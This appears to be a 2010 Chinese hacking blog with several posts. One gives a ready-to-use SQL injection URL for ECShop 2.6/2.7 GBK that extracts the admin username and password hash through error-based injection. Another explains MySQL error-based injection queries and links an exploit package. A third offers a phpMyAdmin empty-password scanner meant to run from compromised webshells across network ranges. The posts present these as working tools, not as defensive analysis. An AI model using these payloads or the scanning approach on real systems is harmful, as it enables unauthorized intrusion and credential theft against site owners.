alibaba

2010年10月5日星期二

ecshop 通杀2.6*2.7 GBK版本 0DAY修改版

“俺是农村娃”丢出了个Ecshop 2.6*2.7 GBK版本漏洞，稍微修改了Exp，更简单快捷了

http://localhost/ecshop/api/checkorder.php?username=%ce%27%20and%201=2%20union%20select%201%20and%20%28select%201%20from%28select%20count%28*%29,concat%28%28Select%20concat%280x5b,user_name,0x3a,password,0x5d%29%20FROM%20ecs_admin_user%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20%23

2010年10月1日星期五

今早被D了，狠狠的被D了，完全没招架之力......

有图有真相，整栋大厦被物理DoS......

2010年8月24日星期二

【原创】一点也不鸡叻的 ecshop lib_common.php 注入

昨天无意间读到 http://www.packetstormsecurity.o ... d-SQL-Injection.txt，发现原来可以这样注入:
MySQL >= 5.0 :
执行
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
或
select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
会报错：
Duplicate entry '5.1.30-community1' for key 'group_key'

MySQL < 5 :
执行
select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1);
数次后会报错:
Duplicate entry '4.1.22-community-nt:1' for key 1

正好解决了ecshop最新的漏洞

无礼包限制
影响版本：ecshop >= 2.7.0影响版本：ecshop >= 2.7.0

下载package.zip

2010年7月19日星期一

【原创】phpMyAdmin 空口令扫描器（web版）

想必大家手里都有许多没用的webshell吧, 闲着也是闲着，就写了个php批量扫 phpMyAdmin 空口令，放上去跑，扫扫些网段，人品好一天还是能够扫到许多phpMyAdmin空口令。
稍微修改下设定，也能够拿来扫一些特定服务器，如扫描nginx。(由于php不能真正的支持thread,所以就使用fsockopen, 效率差了点，兼容性也不是很高，代码更写的一塌糊涂，加减用吧)

下载 scanner.zip